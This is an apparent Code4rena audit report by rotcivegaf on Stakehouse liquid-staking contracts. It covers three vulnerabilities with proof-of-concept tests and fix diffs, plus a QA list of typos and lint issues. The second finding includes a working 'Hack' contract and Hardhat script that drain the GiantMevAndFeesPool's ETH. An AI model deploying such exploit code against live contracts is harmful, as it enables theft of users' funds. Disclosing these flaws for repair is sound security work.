LSD Network - Stakehouse contest - rotcivegaf's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L50-L64 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantLP.sol#L34-L36 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L145-L167 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L50-L73

Vulnerability details

Author: rotcivegaf

Impact

The function withdrawETH call the function burn of the GiantLP contract and in the _burn of ERC20 OZ implementation is called the _beforeTokenTransfer who it's implemented in the GiantLP and called function beforeTokenTransfer of the GiantMevAndFeesPool contract. This contract try to send ether to the address(0), because in the _burn the _to it's the address(0), but the function _distributeETHRewardsToUserForToken haves a require who reverts when the _recipient(_to) it's the address(0): require(_recipient != address(0), "Zero address");

Proof of Concept

If someone make a depositETH, when try withdrawETH will reverts:

const { ethers } = require("hardhat");

describe("Foo", function () {
  let owner;

  it("Foo", async function() {
    [owner] = await ethers.getSigners();

    const GiantMevAndFeesPool = await ethers.getContractFactory("GiantMevAndFeesPool");
    giantMevAndFeesPool = await GiantMevAndFeesPool.deploy(owner.address);
    await giantMevAndFeesPool.deployed();

    const eth = ethers.utils.parseEther('1.0');
    
    // Make a deposit of ETH
    await giantMevAndFeesPool.depositETH(eth, { value: eth });

    // Try withdraw ETH
    await giantMevAndFeesPool.withdrawETH('1000000000000000');// This transaction will reverted with reason string 'Zero address'    
  });
});

Recommended Mitigation Steps

Call _distributeETHRewardsToUserForToken if the _to it's not the address(0) in the beforeTokenTransfer of the GiantMevAndFeesPool contract:

@@ -158,12 +158,14 @@ contract GiantMevAndFeesPool is ITransferHookProcessor, GiantPoolBase, Syndicate
         }

         // Make sure that `_to` gets total accrued before transfer as post transferred anything owed will be wiped
-        _distributeETHRewardsToUserForToken(
-            _to,
-            address(lpTokenETH),
-            lpTokenETH.balanceOf(_to),
-            _to
-        );
+        if (_to != address(0)) {
+            _distributeETHRewardsToUserForToken(
+                _to,
+                address(lpTokenETH),
+                lpTokenETH.balanceOf(_to),
+                _to
+            );
+        }
     }

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L50-L73 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L92-L95 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L146-L167

Vulnerability details

Author: rotcivegaf

Impact

The claimed mapping the contract SyndicateRewardsProcessor don't increment by due amount, someone can send ether to modified the balance of the contract SyndicateRewardsProcessor and use the transfer of the GiantLP contract to trigger the _distributeETHRewardsToUserForToken function, and repeat several time to empty the balance of the contract GiantMevAndFeesPool

Proof of Concept

pragma solidity ^0.8.13;

import { GiantMevAndFeesPool } from "./liquid-staking/GiantMevAndFeesPool.sol";
import { GiantLP } from "./liquid-staking/GiantLP.sol";

contract Hack {
    GiantMevAndFeesPool public immutable giantMevAndFeesPool;
    GiantLP public immutable giantLP;

    constructor(
        GiantMevAndFeesPool _giantMevAndFeesPool
    ) payable {
        giantMevAndFeesPool = _giantMevAndFeesPool;
        giantLP = _giantMevAndFeesPool.lpTokenETH();

        _giantMevAndFeesPool.depositETH{ value: msg.value}(msg.value);
    }

    function attack(uint256 _n) external payable {
        payable(address(giantMevAndFeesPool)).transfer(msg.value - 340);
        for (uint256 i; i < _n;) {
            giantLP.transfer(address(this), 0);
            payable(address(giantMevAndFeesPool)).transfer(100);
            unchecked{++i;}
        }
    }

    receive() external payable {}
}

const { ethers } = require("hardhat");

describe("Can steal all founds", function () {
  it("Steal", async function() {
    // Deploy and instance
    [owner] = await ethers.getSigners();

    const GiantMevAndFeesPool = await ethers.getContractFactory("GiantMevAndFeesPool");
    giantMevAndFeesPool = await GiantMevAndFeesPool.deploy(owner.address);
    await giantMevAndFeesPool.deployed();

    const GiantLP = await ethers.getContractFactory("GiantLP");
    const giantLP = await GiantLP.attach(await giantMevAndFeesPool.lpTokenETH());

    const eth = ethers.utils.parseEther('1.0');

    // Start

    // The owner deposit 1 ether
    await giantMevAndFeesPool.depositETH(eth, { value: eth });

    // Deploy the attack contract, also can use a simple EOA wallet
    // In the deploy, the Hack contract deposit 1 ether
    const Hack = await ethers.getContractFactory("Hack");
    hack = await Hack.deploy(
      giantMevAndFeesPool.address,
      { value: '100000000000000' }
    );
    await hack.deployed();

    // Save prev balances to log
    const prevBalLp = await giantLP.balanceOf(hack.address);
    const prevBalEth = await ethers.provider.getBalance(hack.address);
    const prevClaimed = await giantMevAndFeesPool.claimed(hack.address, giantLP.address);

    // Attack, see in the contract
    await hack.attack(
      10, // times
      { value: eth.div(2) }
    );

    // Save post balances to log
    const postBalLp = await giantLP.balanceOf(hack.address);
    const postBalEth = await ethers.provider.getBalance(hack.address);
    const postClaimed = await giantMevAndFeesPool.claimed(hack.address, giantLP.address);

    console.log(prevBalLp);
    console.log(prevBalEth);
    console.log(prevClaimed);
    console.log(postBalLp);
    console.log(postBalEth);
    console.log(postClaimed);

    // log the diff of the balances
    console.log('diff, bal lp :', postBalLp.sub(prevBalLp).toString());
    console.log('diff, bal eth:', postBalEth.sub(prevBalEth).toString());
    console.log('diff, claimed:', postClaimed.sub(prevClaimed).toString());

    // log balance of giantMevAndFeesPool
    const giantMevAndFeesPoolBal = await ethers.provider.getBalance(giantMevAndFeesPool.address);
    console.log('Final giantMevAndFeesPool bal:', giantMevAndFeesPoolBal.toString());
  });
});

Recommended Mitigation Steps

A partial solution could be increment the claimed by due amount in the function _distributeETHRewardsToUserForToken:

File: contracts/liquid-staking/SyndicateRewardsProcessor.sol

From:
63                claimed[_user][_token] = due;
To:
63                claimed[_user][_token] += due;

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SyndicateRewardsProcessor.sol#L51-L73 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L146-L167 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L66-L90 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/StakingFundsVault.sol#L66-L104 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/StakingFundsVault.sol#L110-L143 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/StakingFundsVault.sol#L314-L340

Vulnerability details

Author: rotcivegaf

Impact

The root of the problem are in the _distributeETHRewardsToUserForToken who makes a call to distribute the ether rewards. With this call the recipient can execute an reentrancy attack calling several times the different function to steal founds or take advantage of other users/protocol

Proof of Concept

This functions use the _distributeETHRewardsToUserForToken:

beforeTokenTransfer, GiantMevAndFeesPool contract:

The contract GiantLP use the GiantMevAndFeesPool contract as transferHookProcessor and when use the functions _mint, _burn, transferFrom and transfer of the ERC20, the function beforeTokenTransfer implemented in the GiantMevAndFeesPool bring a possibility to make a reentrancy attack because in the function _distributeETHRewardsToUserForToken implemented in the GiantMevAndFeesPool make a call to the _recipient

A contract can call the function transfer of GiantLP contract several time, transfer an amount from and to self, as the update of the claimed would not be done until, it is executed the function _afterTokenTransfer of the GiantLP contract, the due amount calculated in _distributeETHRewardsToUserForToken of SyndicateRewardsProcessor contract and the lastInteractedTimestamp of GiantLP contract will be incorrect

withdrawLPTokens, GiantPoolBase contract:

The possibility of the reentrancy is given when call function _onWithdraw, this function implemented in GiantMevAndFeesPool contract uses _distributeETHRewardsToUserForToken and this one call the recipient making the possibility of the reentrancy, breaking the code of L76-L89

batchDepositETHForStaking, StakingFundsVault contract:

The possibility of the reentrancy is given when call function _distributeETHRewardsToUserForToken, this function call the recipient making the possibility of the reentrancy, breaking the code of L76-L89

depositETHForStaking, StakingFundsVault contract:

The possibility of the reentrancy is given when call function _distributeETHRewardsToUserForToken, this function call the recipient making the possibility of the reentrancy, breaking the code of L136-L142

beforeTokenTransfer, StakingFundsVault contract:

The possibility of the reentrancy is given when call function _distributeETHRewardsToUserForToken in L333 and L337, this function call the recipient making the possibility of the reentrancy, breaking the code of L343-L351

Tools Used

Review

Recommended Mitigation Steps

One possibility its wrap(deposit) ether in WETH and transfer as ERC20 token

Another, it's add nonReentrant guard to the functions:

• beforeTokenTransfer, GiantMevAndFeesPool contract
• withdrawLPTokens, GiantPoolBase contract
• batchDepositETHForStaking, StakingFundsVault contract
• depositETHForStaking, StakingFundsVault contract
• beforeTokenTransfer, StakingFundsVault contract

File: contracts/liquid-staking/GiantMevAndFeesPool.sol

@@ -143,7 +143,7 @@ contract GiantMevAndFeesPool is ITransferHookProcessor, GiantPoolBase, Syndicate
     }

     /// @notice Allow giant LP token to notify pool about transfers so the claimed amounts can be processed
-    function beforeTokenTransfer(address _from, address _to, uint256) external {
+    function beforeTokenTransfer(address _from, address _to, uint256) external nonReentrant {
         require(msg.sender == address(lpTokenETH), "Caller is not giant LP");
         updateAccumulatedETHPerLP();

File: contracts/liquid-staking/GiantPoolBase.sol

@@ -66,7 +66,7 @@ contract GiantPoolBase is ReentrancyGuard {
     /// @notice Allow a user to chose to withdraw vault LP tokens by burning their giant LP tokens. 1 Giant LP == 1 vault LP
     /// @param _lpTokens List of LP tokens being owned and being withdrawn from the giant pool
     /// @param _amounts List of amounts of giant LP being burnt in exchange for vault LP
-    function withdrawLPTokens(LPToken[] calldata _lpTokens, uint256[] calldata _amounts) external {
+    function withdrawLPTokens(LPToken[] calldata _lpTokens, uint256[] calldata _amounts) external nonReentrant {
         uint256 amountOfTokens = _lpTokens.length;
         require(amountOfTokens > 0, "Empty arrays");
         require(amountOfTokens == _amounts.length, "Inconsistent array lengths");

File: contracts/liquid-staking/StakingFundsVault.sol

@@ -66,7 +66,7 @@ contract StakingFundsVault is
     /// @notice Batch deposit ETH for staking against multiple BLS public keys
     /// @param _blsPublicKeyOfKnots List of BLS public keys being staked
     /// @param _amounts Amounts of ETH being staked for each BLS public key
-    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {
+    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable nonReentrant {
         uint256 numOfValidators = _blsPublicKeyOfKnots.length;
         require(numOfValidators > 0, "Empty arrays");
         require(numOfValidators == _amounts.length, "Inconsistent array lengths");

@@ -110,7 +110,7 @@ contract StakingFundsVault is
     /// @notice Deposit ETH against a BLS public key for staking
     /// @param _blsPublicKeyOfKnot BLS public key of validator registered by a node runner
     /// @param _amount Amount of ETH being staked
-    function depositETHForStaking(bytes calldata _blsPublicKeyOfKnot, uint256 _amount) public payable returns (uint256) {
+    function depositETHForStaking(bytes calldata _blsPublicKeyOfKnot, uint256 _amount) public payable nonReentrant returns (uint256) {
         require(liquidStakingNetworkManager.isBLSPublicKeyBanned(_blsPublicKeyOfKnot) == false, "BLS public key is banned or not a part of LSD network");
         require(
             getAccountManager().blsPublicKeyToLifecycleStatus(_blsPublicKeyOfKnot) == IDataStructures.LifecycleStatus.INITIALS_REGISTERED,

@@ -312,7 +312,7 @@ contract StakingFundsVault is
     }

     /// @notice before an LP token is transferred, pay the user any unclaimed ETH rewards
-    function beforeTokenTransfer(address _from, address _to, uint256) external override {
+    function beforeTokenTransfer(address _from, address _to, uint256) external override nonReentrant {
         address syndicate = liquidStakingNetworkManager.syndicate();
         if (syndicate != address(0)) {
             LPToken token = LPToken(msg.sender);

QA report

Author: rotcivegaf

Low Risk

Non-critical

Low Risk

[L-01] Open TODO

Open TODO can point to architecture or programming issues that still need to be resolved.

File: contracts/syndicate/Syndicate.sol

195            // todo - check else case for any ETH lost

Non-critical

[N‑01] Typo

File: contracts/liquid-staking/ETHPoolLPFactory.sol

/// @audit: Instane to Instance
 74    /// @param _newLPToken Instane of the new LP token (to be minted)

/// @audit: depoistor to depositor
124            // mint LP tokens for the depoistor with 1:1 ratio of LP tokens and ETH supplied

/// @audit: depoistor to depositor
150            // mint LP tokens for the depoistor with 1:1 ratio of LP tokens and ETH supplied

File: contracts/syndicate/Syndicate.sol

/// @audit: publice to public
356    /// @notice Calculate the amount of unclaimed ETH for a given BLS publice key + free floating SLOT staker without factoring in unprocessed rewards

/// @audit: collatearlized to collateralized
398    /// @notice Preview the amount of unclaimed ETH available for a collatearlized SLOT staker against a KNOT which factors in unprocessed rewards from new ETH sent to contract

/// @audit: numberOfCollateralisedSlotOwnersForKnot to numberOfCollateralizedSlotOwnersForKnot
416        uint256 numberOfCollateralisedSlotOwnersForKnot = getSlotRegistry().numberOfCollateralisedSlotOwnersForKnot(_blsPubKey);

420        for (uint256 i; i < numberOfCollateralisedSlotOwnersForKnot; ++i) {

421              address collateralizedOwnerAtIndex = getSlotRegistry().getCollateralisedOwnerAtIndex(_blsPubKey, i);

423                uint256 balance = getSlotRegistry().totalUserCollateralisedSLOTBalanceForKnot(

/// @audit: amongs to amongst
490    /// Given an amount of ETH allocated to the collateralized SLOT owners of a KNOT, distribute this amongs the current set of collateralized owners (a dynamic set of addresses and balances)

/// @audit: incomming to incoming
565            // incomming knot collateralized SLOT holders do not get historical earnings

/// @audit: funtion to function
654            // this means that user can call the funtion even if there is nothing to claim but the

File: contracts/liquid-staking/SavETHVault.sol

/// @audit: Inconsisent to Inconsistent
115        require(numOfTokens == _amounts.length, "Inconsisent array length");

/// @audit: determins to determines
227    /// @notice Utility function that determins whether an LP can be burned for dETH if the associated derivatives have been minted

File: contracts/liquid-staking/LiquidStakingManager.sol

/// @audit: trigerringAddress to triggeringAddress
 51    event KnotStaked(bytes _blsPublicKeyOfKnot, address indexed trigerringAddress);

/// @audit: admiting to admitting
101    /// @notice address of optional gatekeeper for admiting new knots to the house created by the network

/// @audit: Unrecognised to Unrecognized
436        require(_isNodeRunnerValid(msg.sender) == true, "Unrecognised node runner");

/// @audit: validtor to validator and initals to initials
476            // register validtor initals for each of the KNOTs

/// @audit: overriden to overridden
903    /// @dev Something that can be overriden during testing

/// @audit: overriden to overridden and customise to customize
920    /// @dev This can be overriden to customise fee percentages

[N-02] Non-library/interface files should use fixed compiler versions, not floating ones

File: contracts/liquid-staking/ETHPoolLPFactory.sol

3 pragma solidity ^0.8.13;

File: contracts/liquid-staking/StakingFundsVault.sol

3 pragma solidity ^0.8.13;

File: contracts/liquid-staking/GiantMevAndFeesPool.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/SavETHVault.sol

3 pragma solidity ^0.8.13;

File: contracts/liquid-staking/LiquidStakingManager.sol

3 pragma solidity ^0.8.13;

File: contracts/liquid-staking/SyndicateRewardsProcessor.sol

3 pragma solidity ^0.8.13;

File: contracts/smart-wallet/OwnableSmartWallet.sol

3 pragma solidity ^0.8.13;

File: contracts/liquid-staking/GiantSavETHVaultPool.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/LSDNFactory.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/GiantPoolBase.sol

1 pragma solidity ^0.8.13;

File: contracts/syndicate/SyndicateFactory.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/LPToken.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/GiantLP.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/LPTokenFactory.sol

1 pragma solidity ^0.8.13;

File: contracts/smart-wallet/OwnableSmartWalletFactory.sol

3 pragma solidity ^0.8.13;

File: contracts/liquid-staking/StakingFundsVaultDeployer.sol

3 pragma solidity ^0.8.13;

File: contracts/liquid-staking/SavETHVaultDeployer.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/OptionalHouseGatekeeper.sol

1 pragma solidity ^0.8.13;

File: contracts/liquid-staking/OptionalGatekeeperFactory.sol

3 pragma solidity ^0.8.13;

[N-03] No specified visibility

File: contracts/liquid-staking/SavETHVaultDeployer.sol

13    address implementation;

File: contracts/liquid-staking/StakingFundsVaultDeployer.sol

13    address implementation;

[N‑04] Lint

Wrong indentation: Use always 4 spaces

File: contracts/smart-wallet/OwnableSmartWallet.sol

72    external
73    override
74    payable
75    onlyOwner
76    returns (bytes memory)

Add space:

File: contracts/liquid-staking/ETHPoolLPFactory.sol

/// @audit: `==IDataStructures` to `== IDataStructures`
97            getAccountManager().blsPublicKeyToLifecycleStatus(blsPublicKeyOfNewKnot) ==IDataStructures.LifecycleStatus.INITIALS_REGISTERED,

[N‑05] Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

File: contracts/liquid-staking/ETHPoolLPFactory.sol

16    event ETHWithdrawnByDepositor(address depositor, uint256 amount);

19    event LPTokenBurnt(bytes blsPublicKeyOfKnot, address token, address depositor, uint256 amount);

22    event NewLPTokenIssued(bytes blsPublicKeyOfKnot, address token, address firstDepositor, uint256 amount);

25    event LPTokenMinted(bytes blsPublicKeyOfKnot, address token, address depositor, uint256 amount);

File: contracts/liquid-staking/SavETHVault.sol

 19    event DETHRedeemed(address depositor, uint256 amount);

 22    event ETHWithdrawnForStaking(address withdrawalAddress, address liquidStakingManager, uint256 amount);

121    event CurrentStamp(uint256 stamp, uint256 last, bool isConditionTrue);

File: contracts/liquid-staking/StakingFundsVault.sol

25    event ETHDeposited(address sender, uint256 amount);

28    event ETHWithdrawn(address receiver, address admin, uint256 amount);

31    event ERC20Recovered(address admin, address recipient, uint256 amount);

34    event WETHUnwrapped(address admin, uint256 amount);

[N‑06] Unused events

File: contracts/liquid-staking/SavETHVault.sol

121    event CurrentStamp(uint256 stamp, uint256 last, bool isConditionTrue);

File: contracts/liquid-staking/StakingFundsVault.sol

25    event ETHDeposited(address sender, uint256 amount);

31    event ERC20Recovered(address admin, address recipient, uint256 amount);

34    event WETHUnwrapped(address admin, uint256 amount);

File: contracts/syndicate/Syndicate.sol

45    event CollateralizedSLOTReCalibrated(bytes BLSPubKey);